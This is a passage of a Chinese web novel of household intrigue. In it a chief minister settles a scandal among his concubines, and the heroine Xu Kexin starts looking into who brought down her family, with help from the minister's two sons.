三姨娘正忐忑不安地等男人开口时,二姨娘又忽然冷声道,“大人,三姨娘过去在府中时,一直怀有不轨之心,对三哥纠缠不休,今夜想必是对丫鬟心生妒意,才跑去那处院子。” 哪里想过二姨娘会突然发难,三姨娘骤然变了脸色,“你到底在胡说什么?!” 屏风外几人争执不休,徐可心紧抿着唇,忍不住去看男人的侧颜,担忧他会因此事伤神,好似察觉到她的目光,男人抬眸看了过来,眸色冷淡,没有几分情绪。 那边人声嘈杂,争执不停,站在屏风后的她,却躲在男人身后,独处一方安宁。 好似一切风雨都和她无关,她只须站在男人的身后,看旁人如野狗般互相撕咬,而她衣衫整洁,不染脏污。 第82章 徐可心垂着眉眼,不知为何心生怯意,向后退了一步,躲开男人的目光。 她背靠着屏风,站在男人身后,低头抚上自己的侧脸,忽觉面颊有些烫。 屏风之外,二姨娘跪在地上,不顾三姨娘喷火的目光,头也不抬道,“三哥固然有错,跑到府中与丫鬟私会,但这也不是你栽赃污蔑三哥的理由。” “早在还未入府前,李府众人就知晓你如何轻荡虚浮,先前想爬父亲的床,被母亲发现后赶到柴房禁足数月,没想到出来后仍不知悔改,又将目光放到三哥身上。” “你这般不知廉耻,也难怪方才会跑到院子里,假装丫鬟去见三哥。” 二姨娘的话半真半假,又是揭三姨娘的老底,又是存心污蔑她。 旁人不知道真假,闻言只用鄙夷的目光看三姨娘。 迎着四面八方投来的视线,三姨娘气得浑身发抖,高声斥骂道,“还真是会咬人的狗不叫,让你胡言乱语,你看我撕不撕烂你的嘴!” 她边骂,边撸起袖子爬上前,伸着手指就要抓二姨娘的脸,可还未等她上前,就被守在一旁的丫鬟拦住了。 一直坐在一旁的大夫人冷声道,“安分些,此处是府中书房,并非你的宅院。” 三姨娘气昏头,刚要出言驳斥,抬眼一看说话的人是大夫人,刚到嘴边的话又被她咽了下去。 她虽气急,但还没有失了理智,知道谁能招惹,谁不能招惹。 若眼下顶撞大夫人被记恨了,怕是没她好果子吃。 三姨娘面色紧绷,紧攥着袖子,眼神喷火似的盯着二姨娘,好似随时能扑上去。 “你方才承认和李三公子私会,还骂他无情无义,可刚刚又说只是恰巧路过,自相矛盾满嘴谎话,到底哪句是真的,哪句是假的?” 大夫人站在一旁,冷眼俯视她,三姨娘跪在地上,闻言倏地抬头。 若她继续承认两人的私情,私通乃是重罪,恐她难以全身而退,若她承认恰巧路过,只是意图不轨,罪责兴许会轻些……可偏偏二姨娘方才将她过去的事情尽数说了出来,直接把她的后路堵死,不管她是真得同人私情,还是意图与人私情,都免不了重罚。 若承认私情,李三公子也难以脱身,若承认路过,受罚的只有她一人,左右她已经没有退路,还不如拉个垫背的。 “夫人,妾身有能够佐证我们二人私通的信物。”三姨娘紧攥着袖子,咬牙道。 她本以为大夫人只是前来看热闹,并无偏颇之心,可她刚说完,却听大夫人冷声道,“所谓信物,皆为死物,你又如何能佐证那些死物真得是你们二人之间的信物?” 听完大夫人的话,三姨娘人都傻了。 她就算反应再迟钝,眼下也能发觉,大夫人也在局中,还站在她的对面。 三姨娘僵着身子,环视眼前几人,只觉浑身血液冷凝,这几人存心给她设局。 她紧抿着唇,还未彻底放弃挣扎,抬眸看向坐在主位的男人,方要将两人之间的事情再讲一遍,却见男人眼底没有情绪地坐在那里,没有旁的情绪,看他们几人的目光也好似在看什么掀不起风浪的蝼蚁一般。 只一瞬间,三姨娘就没了声音。 大人根本不在意她是否同人私会,也不在意她同谁私会,他如今坐在主位,无非是等他们几人互相争执完,再随便定个处罚,将他们一齐处理了。 毕竟这件事被人捅到他这里…… 三姨娘瘫坐在地,只攥着衣摆,好似痴傻一般地看着地面。 她不是徐可心,做不到让大人怜惜她,她和府中旁的女人没什么两样,在大人眼中只是一个行事不端的下人罢了。 大夫人冷冷看着她,见她不再言语,看向坐在主位的男人,平声道,“大人,此人行事轻浮,继续留在府中,想必仍不知悔过,不如就此赶出府罢。” 见大夫人将罪责归咎到三姨娘头上,李三公子面色一喜,可笑意未维持多久,却听坐在房前的男人漫不经心道,“既如此痴情,想必离府后也仍对李公子有意。” “倒不如成全她的情意。” 话音刚落,李三公子脸上的笑意骤然僵在脸上,二姨娘也倏地抬眸,错愕地看着坐在 不远处的男人。 若三姨娘入了李府,成了他李三的妾室,不光李夫人会同他争执不休,他维持数年的深情模样也毁之一旦,京中众人都会知晓他过去温润守礼的品行只是装出来的。 三姨娘坐在地上,闻言紧抿着唇,本以为大人会重罚她,没想到将她送回李府。 侥幸捡回一条命,她睨了眼面色难看的李家兄妹二人,忙不迭膝行上前,向男人磕头领了命令。 她早就厌倦了在林府受人冷落的生活,回了李府后,李家父子都是好色之徒,只要她稍稍使些心思,难保他们不上钩。 还未等离府,光是得了命令,三姨娘便忍不住开始思索回李府的一事。 二姨娘看着她的背影,抬头看向男人,还想再为李三公子求情,求男人收回成命,可对上男人没有情绪的目光,二姨娘面色紧绷,只垂着脑袋,她今日贸然前来,本就令人怀疑,眼下大人已经下了命令,若她再说什么,恐会牵扯到己身。 几人都没了声音,大夫人只想将三姨娘赶走,再找个机会将她惩处一番,眼下见男人将她送回李府,她也未再多言。 毕竟眼下两人已经起了争执,三姨娘回了李府后,依李三公子的性子,也不会让她好过。 思及此,大夫人瞥了眼跪在地上的几人,不紧不慢端起桌案上的茶杯,置于唇边轻轻抿了一口。 今年湖广送来的新茶,味苦汤清,回味甘甜,可她喝得太快,未品出几分甜味,光记得苦了。 徐可心一直站在屏风后,听到男人要将三姨娘送回李府,她不自觉担忧起她孩子的去处,是和三姨娘一起离开,还是留在林府。 思及此,她看向三姨娘的目光也不自觉复杂几分,三姨娘本跪在地上,好似察觉到什么,没有征兆地看过来。 四目对视,三姨娘紧蹙着眉。 徐可心不自觉心弦一紧,正以为这人会声张时,三姨娘忽得移开视线,好似未看见她一般。 她下意识松了口气。 待众人走后,房中只余下他们二人时,徐可心才缓步走了出来,刚走到男人身边,就被他扯住手腕揽在怀里,却听他语气淡漠道,“李三夫人性情刚烈,若知晓李三公子的真实为人,不会善罢甘休。” 待三姨娘被人送回李府后,李三公子的后院也定然不会安生。 听出男人话里的意思,徐可心扶着他的肩膀,忍不住说出自己的顾虑,“大人要如何处置小公子?” 孩子刚生下来,总是离不开母亲的。 林远舟环着她的腰,微微俯身,埋首在她颈侧,阖着眉眼,眼也不抬道,“自是回到他亲父身边。” 亲父? 徐可心怔愣片刻,一个念头在心中浮现,她方认为这个念头太过荒谬,可想到三姨娘和李三公子有私情,那孩子是李三公子的也不足为奇。 没想到三姨娘不仅同人私情,还生了情人的孩子……思及此,她只稍稍惊叹三姨娘过于大胆,便忍不住看向男人,担忧他是否会因此伤神。 见怀中男人的眉头透着几分疲倦,她缓缓抬手,揽住男人的肩膀,安抚地轻拍,“大人,妾身会一直陪在你身边。” 她轻声说着好话,男人本揽着她的腰,忽得语气没有起伏问,“若可心变了心,同旁的公子偷情私会,为夫又该如何惩治可心?” 哪里想过他会突然问出这句话,徐可心紧抿着唇,心上的担忧霎时被不满取代,“大人勿要随意揣测妾身,妾身只喜欢大人,怎会同旁的公子私会?” 男人枕在她颈侧,也未说信不信,只不紧不慢道,“若可心同人私会,为夫先杀了奸夫,再将可心囚于笼中,让可心今后都无法从为夫身边离开。” 男人的话过于骇人,但不知为何,徐可心听后却无半分畏惧,她只抚上男人的头,不轻不重按揉,轻声道,“如此甚好,往后妾身只依附在大人身旁,再也不用担忧会沦落街头。” 男人良久无言,徐可心等了半晌,迟迟等不到男人的回应,忍不住垂眸看去,却见男人阖着眼皮,好似已经入睡。 徐可心见状,轻轻叹了口气,环住男人肩膀的手臂不自觉用力,“妾身恨不得亦步亦趋陪在大人身侧,又怎会分神同旁的男人私会。” 她话语不停,也不管男人能否听见,只自顾自讲着。 徐可心害怕吵醒他,哪怕身子酸麻,也未挪动一下,只环着他的身子,任由他抱着。 已经过了子时,徐可心方看完一场戏,人也格外困倦,枕着身侧的木椅,不知不觉沉沉睡去。 等她白日醒来时,才发觉自己已经回了听雨阁。 丫鬟告诉她,是大人昨夜将她从书房抱回院中。 徐可心闻言,不禁懊恼这人为何不叫醒她。 她用过早膳,正想着抱青姝在院中闲走时,屋外忽得传来一阵嘈杂的吵闹声。 “你们别拦我,让我进去!” 三姨娘的声音在屋外骤然响起,还未等徐可心回过神,三姨娘就一把推开门闯了进来。 徐可心抱着青姝,看着女人身姿凌乱的模样,恐她前来故意闹事,下意识揽住青姝,谨慎地看着三姨娘。 三姨娘站在门前,注意到她的动作,直接白了她一眼,“谁稀罕你那女儿,也就你把她当个宝贝似的护着,要说我,就算将你这女儿丢给牙婆,也卖不了几个钱,怕是扔到大街上都没人捡,还不够流民塞牙缝的。” 徐可心闻言,微微蹙眉,“不知姨娘前来所为何事?若只是存心前来闹事,还请姨娘离开罢。” 三姨娘瞥了她一眼,冷声道,“本来我今日前来有一事相告,看你眼下这模样,好似也不想听。” “也是,如今你成了当朝首辅大人的宠妾,日子过得格外滋润,想必早就忘了被人冤告致死的父母双亲。” 三姨娘冷嘲一声,转身就要离开。 徐可心闻言眸色一怔,顾不上多想倏地站起身,慌乱道,“姨娘留步!” 第83章 三姨娘站在屋内,瞥了眼站在屋内的丫鬟,“你们先出去,我有话同她讲。” 丫鬟站在一旁,谨慎地看着她,没有挪动步子。 徐可心看向站在不远处的三姨娘,命乳母上前,命她将青姝抱走后,又令房中的丫鬟退下。 她的确怕三姨娘胡来,但也的确想知道三姨娘到底要告诉她何事。 待乳母将青姝抱走,没了顾虑,徐可心才看向三姨娘,起身为她倒了一杯茶,“姨娘请讲。” 三姨娘瞥了她一眼,随口说了一句装什么,走到桌案旁坐下。 她端起茶杯,置于唇边,细细品着,良久未言。 等摆足了架子,她才眼也不抬道,“往日我还未入府,是李家的下人,昨日你也在书房,自然也听见了那贱人的话。” 徐可心垂着眉眼,知道她口中的贱人是二姨娘,闻言未说什么。 二姨娘过去是李家小姐,对三姨娘的言行颇有微词也不足为奇。 “我的确勾引了她父亲和兄长,想要爬他们的床翻身做主子,但她不骂她的父亲兄长是好色之徒,只骂我轻浮放荡。” “她们李家人还真是一路货色,单会惺惺作态,装成不染红尘的书香门第,实则一群人都烂透了,比路边的流浪狗还令人作呕恶心,如此这般还嫌我脏。” “我看他们是千年狐狸修成几分人样,就忘记了自己过去也只不过是一摊腐朽烂肉。” 三姨娘坐在那里,好似知道她是个闷葫芦,同她骂完,她也不会告诉旁人,于是端着茶杯,越骂越起劲。 徐可心听到她的话,的确未有几分感触,她过去既是千金小姐,知道各家都不似面上装出来那般高雅闲淡,各有各的难堪不耻,也做过官妓,知道他们素来不把下人当人看。 三姨娘所言,也并无虚处。 不过她并不在意李家人的行事作风是否表里如一,她只想知道三姨娘到底要告诉她何事。 徐可心耐心坐在一旁,任由三姨娘坐在那里骂着,见她杯中的茶水空了,又为她倒了一杯。 三姨娘话语不停,也不在意她是否听了进去,好似只想寻个人听她牢骚几句。 过了良久,直到将李家众人骂得狗血喷头,宛若天底下最大的畜生窝,三姨娘才堪堪放下茶杯,抬眼看向她。 徐可心心有所感,也收回几分神。 “我还在李府时,就爬上了他的床,时常被他唤去房中,不过这人是个畜生,甚至不愿给我一个名分。” 三姨娘紧攥茶杯,片刻后才自顾自道,“有一日我们二人正欢好时,一个官员上门求见,说有要事相商,李三是个好色的,还未尽兴,让我留在他房中。” “待他回来后,我趁机佯装生气,想要得到些许好处,却听他说,待徐大人失势,他取而代之成为当朝首辅,就扶我做妾。” “我知道李三公子素来喜欢吹嘘,听他说要取代你父亲,我本来还未信,只以为他又再做白日梦,但没想到……之后你们徐家还真得被先帝抄家了。” 说到此处,三姨娘顺口嘟囔一句,“横竖怎么看,这酒囊饭袋也斗不过你父亲,想必是攀上了什么人,才敢口出狂言。” 徐可心坐在一旁,闻言面色僵硬,过了才稍稍回神,温声道,“姨娘不日之后就要回李家,为何会告知此事与我?” 毕竟此事牵扯到李三公子,三姨娘成了李三的妾室,没道理再出卖李三,而且三姨娘从她这里也换不来半分好处。 三姨娘闻言,瞥了她一眼,“你管我为何要告诉你,你只知道,李三同人害死你父亲,你只寻个机会,同大人吹枕边风,让他为你出气惩处李三就行了。” 三姨娘说完,放下茶杯,未再多说,转身向门前走去,快要离开时,她脚步一顿,忽得想到什么,头也不回道,“还有一事,别怪我没提醒你,只要大夫人尚在府中一日,你的肚子里就生不出男婴。” 她说完,推门就要离开。 徐可心看着她的背影,倏地起身,“姨娘止步。” 话落,她进了里室拿出一块金锭,用帕子包裹好后,迎着三姨娘不解的目光,将金锭交到她手中。 “谢姨娘将此事告知与我,此为谢礼,还望姨娘收下。” 三姨娘攥着手中沉甸甸的东西,隔着帕子稍稍摩挲几下,忍不住掀开一角,待看清里面的东西是何物,三姨娘眸色一怔,眼中的怒意霎时被笑意取代。 三姨娘忙不迭将金锭收入袖中,看了眼她头上格外老气的素簪子,忍不住轻啧一声,“得了宠就是不一样,身怀金银,不必寻首饰做身家,不像我们这些做下人的,平日里只能拮据度日。” 她的话酸溜溜的,透着不加掩饰的酸味,徐可心闻言,未理会她的话,只轻声道,“还望三姐回李府后,勿忘了府中的姐妹,若在李府过得不如意,大可再次前来。” 三姨娘垂着眉眼,很快明白她话里的意思,三姨娘沉默半晌,忽得笑出声,留下一句“等我消息”,说完推门离开。 知道三姨娘答应为她探寻消息,徐可心不自觉松了一口气。 她过去自顾不暇,疲于生计,难以分神去探查此事,哪怕得了空,在教坊司四处打探消息,也鲜少能听到有人议论此事。 她一直苦于没有门路,眼下三姨娘主动上门,她自然要紧紧抓住三姨娘。 正如三姨娘所言,李三公子只是个酒囊饭袋,还没有胆量将父亲告到先帝那里,李三背后之人才是真正的主使。 得了三姨娘的话,徐可心一整天心神不宁的,害怕她之后不来了,消息就此断了,便想着再从旁人那里打探一二。 可她眼下深居内宅之中,耳目不通,如何能洞听京中之事。 入夜后,她趴在男人怀里,眼睛不眨地盯着他的下颌。 若说谁最了解朝堂之事,怕是无人能比得上大人,依大人的行事作风,哪怕未牵扯其中,也会命人彻底探清缘由。 她素来信任大人,也对这人知无不言,思及此,还未多想就忍不住轻声道,“妾身有一事想要问大人。” 男人看着手中文书,揽着她的肩膀,眼也不抬道,“可心想问何事?” 知道徐家被抄家一事牵扯太多,她斟酌着话,犹豫良久才道,“大人,妾身想知晓,父亲在时,同哪位官员最为……仇视。” 她对男人过于信任,致使她的话也过于直白,没有半分遮掩,就差直接问,到底何人将她父亲告到圣上面前。 徐可心眸色期待地看着男人,等他的回答,可意外地,男人良久未语,只不轻不重地按揉她的肩膀。 过了半晌,才听他淡声道,“无人与徐大人仇视,政见不同罢了。” 政见不同?徐可心垂着眉眼,不自觉想起父亲在几位皇子之间摇摆不定一事。 单论李家,过去其站队的皇子也并非是少帝,可李家既然能存活至此,想必之后又投靠新主,不然二姨娘又怎会成为大人的妾室。 她不想知道当年几位皇子到底如何厮杀上位,也不想知道李家为何仍屹立不倒,她只想知道到底何人出言谋划,同人设局坑害徐家,致使徐家被抄家。 正如三姨娘所言,归根到底无人手上是干净的,她唯一能做的,也只是为徐家报仇罢了。 “大人,依你之见,徐家一事到底是何人谋划的?”她微微起身,直直看着男人道。 她这句话,几乎直接告诉对方,她想探明当年一事,眼下只是探明,待知晓那人亦或那群人是谁后,又该如何?就此止步还是为父报仇。 徐可心看着面前的男人,等他的下言,可男人只抬手按住她的脖颈,又将她抱在怀里,半阖眉眼,语气没有起伏道,“为夫前不久命人为可心寻了一把古琴,古琴已有百年之久,不知其木原貌,也难以分辨其木来自何处。” “只知弹奏时,琴音悦耳,令人听之难忘,如此可分辨,此琴极好。” “见如今不见往昔,不必探寻琴木丑陋与否,抚琴即可。” 徐可心枕着他的胸膛,知晓大人不愿提及此事,眼底不自觉浮现几分落寞。 不过父亲在时本就树敌太多,想必他们如今同李三公子一样,仍在朝廷做官,大人不愿提及此事也理所当然。 徐可心微微偏过头,埋首在男人怀里,闷闷地嗯了一声,含糊道,“妾身已有听雨,大人不必再为妾身寻新琴了。” 摩挲声在耳旁响起,男人放下书,抚上她的侧脸,吻了一下她的眼尾,唇贴着她耳侧,“如今世间已无徐长小姐,只有林家千金林望舒,可心只无忧无虑陪在为夫身边即可,为夫会护可心周全。” 徐可心沉默半晌,环紧男人的手臂用力,未再说什么。 大人不愿告诉她当年一事,她却放不下,想找出设局之人。 白日她抱着青姝,眉眼低垂,怀着心事如何也笑不出来,恰巧林昭明跑来,见她闷闷不乐,皱着眉道,“我就这么令你厌烦,一见到我就露出苦瓜脸?” 徐可心有心事,不想理会他,林昭明也未指望她能露出什么好脸色,只坐在那里讲着自己 如今的政绩。 如何惩治贪官污吏,又如何审讯犯人…… 徐可心本未理会他,直到听他说不日就要探查李家大公子时,才倏地抬眸,直直看了过去。 “你说的可是真的?” 她没来由地问了一句,林昭明不知道她话里的意思,话语一顿,不解道,“什么真的假的?” 第84章 “你不日就要探查李家长公子?”徐可心重复他的话,又说了一遍。 听到她的话,林昭明的面色莫名地变得难看几分,“确有此事,不过你问他做什么?” 徐可心只当未看见他的面色,小心试探道,“过去时常听闻李长公子自少时起便出口成章,一直久仰其诗作,想要与其结识,待二公子前去探查后,不知可否告知与我这人是否真如传言那般学富五车?” 还未等她说完,林昭明就面露不耐,“狗屁学富五车,他如何会做诗?不过寻了几个追捧他的书生,建了一个什么破诗社,假借闲谈之名,大行剽窃之事。” “那你回来之后,再同我讲讲,他如今时常同谁往来可好?剽了何人的诗,又献给何人?” 徐可心轻声同他商量,语气格外温和,但林昭明不仅未答应她,反而脸色一黑,转身看向一旁,头也不回道,“你是我的谁?凭什么指使我做事?” “况且你如今已经育有一女,竟还对旁的男人念念不忘,看来你之前讲的话也算不得真,对我父亲也未曾有几分真心。” 林昭明看向旁处,只留给她一个冷峻的侧颜,好似不耻她水性杨花的言行一般,不愿看到她。 面色鄙夷不屑,说出的话却酸溜溜的,透着一股子酸味,不知是真得为他父亲打抱不平,还是气恼她讲了旁的男人。 徐可心沉默半晌,才缓声道,“我并未对他念念不忘,我只是……” “只是什么?只是被传闻戏弄,以为他是个学富五车的公子,就不自觉将他放在心上?” “徐可心,我怎么搞不懂你?” 林昭明倏地起身,朝她走了一步,撑着桌案俯视她,“我过去读了那么多的书,都快把书逐字逐句背烂了,然后你对我爱答不理,只单单听了旁人的谣传,就对别的男人心生好奇。” “论相貌,他姿容平平,不及我长了一张漂亮皮囊,论学识,他弄虚作假,不及我专心治学,论才能,他李家人全是酒囊饭袋。” 林昭明站在她面前,面色阴沉,一字一句质问道。 忽得想到什么,他紧拧着眉,压低声音咬牙道,“你要是在意那事,我那日也脱裤子给你看了,我在外未同人胡来,那东西还干净着,还用了浸了香料的水仔细清洗,横竖怎么看,都比他那快玩烂的东西更得你喜欢。” “你到底要我怎样?我既考得功名,又在朝廷任职,我如此费心劳神,你却被莫须有的传言蒙蔽,对别的男人上心,你还真是无可救药!” 眼见他越说越激动,俨然一副怒火中烧的模样,徐可心话语一噎,无奈说了实情,“我未曾对他上心,我只是想要查明当初到底是何人将我父亲告到圣上面前。” 话音刚落,身前的人忽得没了声音。 徐可心抬眼看去,却见林昭明冷眼看着她,过了半晌才退后一步,背对着她坐到一旁,“你若想查明主使,大可以直接告诉我,我又未说不帮你。” “别讲那种模棱两可的话,让人心生歧义,不知道的还以为你爱慕那人。” 林昭明肩宽腰细,朝服套在他身上,极为服帖地勾勒了他的腰身,衬得他后背颀长有力。 分明是格外得体透着威严的穿着,偏偏这人背对她,同她置气,就差将幼稚二字写在身上。 徐可心本以为他如今在朝做官,兴许会变得稳重些许,眼下见他这副性情不定的模样,她又不敢托林昭明做事。 徐可心垂着眉眼,正想着过段时日离府拜访过去父亲手下的门生时,男人忽得转身看她,“既想要令我做事,为何又像根木头一样坐在那里?难不成还要我上赶着求你,求你让我做事?” 徐可心叹了口气,眼下单有三姨娘一人,耳目闭塞,还应再寻一人。 徐可心抬眸看他,温声道,“我想查明当年徐家之事,不知二少爷可否帮我?” 林昭明提醒她开口,可真等她开了口,林昭明又坐在那里,意味不明地看着她,未立刻答应。 就在徐可心以为这人心不诚时,却听他忽然没来由道,“帮你可以,但你要答应我一事。” “何事?”徐可心下意识道。 “你只亲我一下,我就任你驱使。”林昭明直勾勾看着她,脸不红心不跳,直白地说。 “……” 徐可心眸色复杂地看着他,过了良久,迎着他隐隐期待的目光,徐可心看向一旁,眼也不抬道,“天色不早了,二少爷请回罢。” 好似未料到她不愿答应,林昭明复又气急道,“我又未强迫你做什么?只亲我一下你也不愿意?” 见徐可心不理他,他退而求其次,咬牙道,“不亲我,唤我一声好郎君总行了罢?” 见他无理取闹,徐可心背过身子不看他。 林昭明霎时不乐意了,倏地站起身,走至她身前,“这也不肯,那也不肯,还要我帮你做事,你未免也太不讲道理了?” 徐可心只看向另一侧,依旧不理会他,让他快些离开。 林昭明见状,气得在房中来回走了几步,才又跑回她面前,单膝跪地,扯着她的衣袖,咬牙道,“好,算我求你,我想帮你做事,你不必亲我,也不必唤我好郎君,只求我一句。” “同少时那般说‘好昭明,姐姐求求你了’,这总行了罢?” 林昭明跪在地上,攥着她的衣袖,抬眸直直盯着她,眉眼微红,带着不加掩饰的急切。 可徐可心只垂眸看着他,依旧没有开口的意思。 林昭明见状,只觉自己快要被这人的慢性子折磨疯了,方要自暴自弃,打算倒贴帮她时,却听坐在他面前一直沉默不语的女人,忽得唤了一声“昭明”。 紧接着眸色恳求地看着他,用那同记忆里一般无二的温柔腔调,轻声问,“帮姐姐这次可好?” 徐可心的声音素来很轻,比旁人的声音都要小,同谁讲话都很温柔,可这段时日,每每见了他,这人的声音都透着怒气和厌烦。 不知为何,无论徐可心的声音或轻或重,他总能清晰地听清徐可心说了什么,时常能想起她曾说过的每一句话。 眼下这副依赖的神情和话语,他已经许久未看到听到,他直挺挺地跪在徐可心面前,忽觉身子格外燥热,好似有什么在体内燃烧。 徐可心开了口,等男人的下言,见他半晌未回应,只直勾勾盯着她看,徐可心正要以为这人是不是要反悔时,男人忽得站起身,头也不回地向屋外跑去。 他跑得太快,推门时撞倒了一个丫鬟,很快没了身影。 丫鬟哎呦一声倒在地上,看了眼他的背影,捡起地上的东西推门走进。 不知道他这是答应还是不答应,徐可心扶着额头,只觉胸口格外沉闷,不知何时才能查出那人究竟是谁。 她心不在焉的,未留意身旁丫鬟的目光,丫鬟清扫完 花瓶,就行礼退了出去。 书房内。 丫鬟跪在地上,将方才听到的话一字不落地讲了出去,“依奴婢之见,姨娘好似要查清当年徐家一事。” 不远处,男人手持公文,漫不经心看着,也不知道心思是否在上面,过了不知多久,才眼也不抬道,“退下罢。” 丫鬟微微行礼,缓步推门离开。 隔日林昭明拿着文书,还未等迈过刑部大门,就被人拦了下来。 “二少爷,且慢。” 一个身材高瘦的官员笑呵呵上前,张开双臂拦住他的去路。 林昭明同他行礼,才冷声道,“不知吴尚书有何事吩咐?” 吴尚书笑了笑,不紧不慢道,“二公子,吏部那边传话说,让你今后不必在刑部任职了,只前去国子监,治经问学,待学有所成,再回刑部。” 只一瞬间,林昭明就变了脸色。 眼见他面色难看,好似要质问一二,吴尚书忙不迭上前一步,低声道,“是首辅大人的命令,二公子勿要犯浑,还是听从你父亲的调遣罢。” 话音刚落,林昭明的面色彻底阴沉下去。 吴尚书见状,轻轻拍了下他的肩膀,未再多言,命人关上刑部大门,彻底将他拦在外面。 林昭明看着面前紧紧闭合的朱红色大门,不明白父亲为何要将他调职,他紧紧攥着手中的文书,忽觉心中积蓄着一口郁气,压得他近乎喘不过气。 他昨日才答应徐可心,为她探查李家,今日就被调职。 他眉眼阴鸷,压下喉咙里的郁血,只是一个官职罢了,饶是没有此身份,他依旧可以为这人做事。 林昭明自任职后行事狠戾,早就被一群人忌惮,眼下知晓他被调职,众人霎时松了一口气。 刑部。 吴尚书处理完公务,方要回府,出门时却撞见林家长公子。 对方身着朝服,俯身同他行礼,声音沉稳有力,言行有礼有节,周身透着君子气,让人一看就忍不住想要结交。 哪里像林二公子,做事不留情,令人心生畏惧。 以为他前来是为了其弟被调职一事,吴尚书未等林怀瑾开口,就上前一步,低声道,“二公子调职的事是大人的主意,并非旁人的命令。” 林怀瑾闻言,微微摇头,“吴大人,卑职今日前来并非为昭明不平,而是想知晓,他近日做了何事,才惹父亲不快。” 吴尚书闻言,捋着胡须细细思索半晌,才小声道,“依本官之见,好似是因为二公子自上任后太过胡来,手上沾了太多人命,官员们怨声载道,大人才将他调职,令二公子前去国子监修身养性,褪去身上的血气。” 忽得想到什么,吴尚书感慨道,“二公子不日就要带人搜查李家,李家倒是逃过一劫。” 林怀瑾闻言沉默半晌,又同他寒暄几句,才行礼告辞。 林昭明被调职的消息很快传到府中,大夫人知晓后,直接跑到书房。 听雨阁。 从丫鬟口中听说此事,徐可心怔愣良久,才堪堪回神。 她紧抿着唇,想不明白为何林昭明刚答应为她探寻消息,就被调职了。 她正困惑不解时,门外传来脚步声,徐可心抬眸看去,却见数日不见的男人此时站在门前,眸色平静地看着她。 手中依旧提着一个匣子,不知道他这次又带了什么东西过来。 徐可心看着站在门前身着白衣的男人,不明白他为何突然上门拜访。 “不知长公子前来所为何事?” 她正想寻个由头将人打发走时,却见男人缓步走入房中,迎着她不解的目光,将匣子放在桌案上,语气没有起伏道,“姨娘为何意图探查李家?” 话音刚落,屋内霎时沉寂。 徐可心怔愣地看着他,不明白他为何知晓此事…… 第85章 徐可心良久未语,过了半晌才不解道,“妾身不知晓公子话里的意思。” 她对林昭明知根知底,可以将自己的事直接告诉他,但的确不了解这人,难以知晓这人的心思。 林怀瑾好似只是随口一问,也未想要立刻得到她的承认。 他打开匣子,从里面拿出一本书放到桌案上,长指轻轻按在书籍边缘,将书推到她面前。 徐可心不解地拿到手中,轻轻翻阅几页,很快发觉这是本诗集。 林怀瑾足足拿了数十本过来,徐可心看了眼摆在桌案上小山高似的诗集,又看了眼一旁格外笨重的木匣子,不明白这人一路怎么抬过来的,竟不觉得沉。 男人眸色平静,额头也没有半滴热汗,好似于他而言,搬这些东西毫不费力。 徐可心攥着手中的书,无声看了他半晌,才不解问,“公子,这些书是……” 男人拿着帕子,正不紧不慢擦手,闻言看向她,“白日听昭明说,姨娘久仰李长公子的诗作,遂命人寻来几本诗集,希望这些能合姨娘的心意。若有缺失,姨娘可告之于我,怀瑾再命人前去搜集。” 话音刚落,徐可心没了声音,哑然地看着站在身前的男人。 过去她对这人有偏见,认为林怀瑾古板腐朽城府太深,看向她的目光总是带着算计,现在仔细一看,莫名发觉这人是个倔的。 她同林昭明说的那些话无非只是托词罢了,她对李长公子的诗集无感,之所以提及他,无非想知道他平日里同谁往来。 没想到这人会错意,还真寻来了诗集。 徐可心垂着眉眼,翻阅手中的书卷,正想着如何婉拒,目光掠过其中一页的批注时,霎时停了下来。 一行规整的朱红楷字印在上面,清晰地说明了这诗为何人所作,又赠予何人。 两个名字均非李长公子,而是旁人。 徐可心怔愣片刻,下意识翻页,却见每一首诗的末尾,都有此类批注。 书是印刷的,还留有松墨香,那一行行朱红批注明显是后来撰写的,并非一齐印上去的。 她抬手轻轻抚上一个字,字墨托尾,还未彻底阴干,好似方写下没多久。 徐可心紧抿着唇,复又拿起旁的诗集,整整十数本上百首诗,每一首诗后面均有批注。 她下意识抬眸,看向站在一旁的男人,迟疑道,“这是……公子所写?” 林怀瑾看了一眼她所指的批注,眸色平静,“怀瑾与李长公子是同僚,每每其兴建诗社,均会邀怀瑾前去,怀瑾才疏学浅,不知晓如何吟诗作对,胜在过目不忘,知晓何诗为何人所做。” 徐可心攥着手中的诗集,彻底失了声音。 李公子兴建诗社数年,诗社众人所作之诗也繁冗杂乱。 依林怀瑾行事严谨的性子,除非闻所未闻,否则不会有遗漏。 她过去知晓林昭明颖悟绝伦,学什么都快,因此还羡慕一二,如今听了林怀瑾的话,才发觉这兄弟二人的确如旁人所说那般博闻强识,格外出众。 分明她比两人年长数岁,但为何她背起书时,连字都认不齐,甚至每每背了后一句,就忘记前一句。 徐可心紧抿着唇,想起大人每日书不离手,入寝前时常翻看书卷,不自觉想起她已故的父亲。 父亲生前好似也并不喜好读书,反而格外钟情各类史籍,但也不看如何修身,只将如何为人处事的部分翻了个遍。 思及此,徐可心不自觉暗暗埋怨父亲,恨他成日里只记得对她严加管教,而不记得让她读书,致使她年过二十,依旧脑袋空空。 埋怨完父亲,徐可心又不自觉暗暗埋怨自己,为何天资愚钝还不用心研读,时常拿起书就放弃,眼下更是看一眼就觉头脑昏沉。 林怀瑾站在一旁,垂眼看着她,却见女人听完他的话后,面色时青时白,眼底甚至透着几分窘迫。 眉眼柔和,睫毛黑而长,缓慢眨动,偶尔遮住她眼底的神色。 这人的眸子好似会言语,万般情绪浸在其中,只对上一眼,就好似陷进清湖之中,令人难以分神,不自觉地看着她。 徐可心在心中暗暗埋怨数句,才想起一旁的男人,方要承下他的恩情收下这匣诗集,抬眸时却见男人垂着眉眼,无声注视她。 林怀瑾的容貌同大人有太多相似之处,让她险些晃了神,以为大人正站在她面前,但两人的五官只是神似,倒不至于让她真得难以分辨。 大人的眉眼更为柔和,好似被 云层覆压的远山,远观山峦,知晓其沟壑,以为已经彻底了解他,等到真得走近,才发觉之前所见均为假象,除非他主动袒露,否则根本难以从他的面色知晓他的心思。 同大人相比,林怀瑾的眉眼明显舒展些许,透着几分质朴,好似质地温润但尚未雕琢的璞玉,虽已成形,但终究还未彻底打磨,眸中仍透着几分直率。 简而言之,这人顺风顺水,只按部就班向上走着,还未遭受几分历练劫难,行事不够老成。 不然也不会在她入府时,不惜有损几人的名声也要赶她离府…… 这人太过青涩,认为凡事非黑即白,以为只要想出一个法子,实施下去,一切就能按着他预想中的那般发生,而未想过其中种种变数。 之前徐可心苦于他和林昭明的青涩,只认为他们二人性情不定,说不定何时又想出一个法子折磨她。 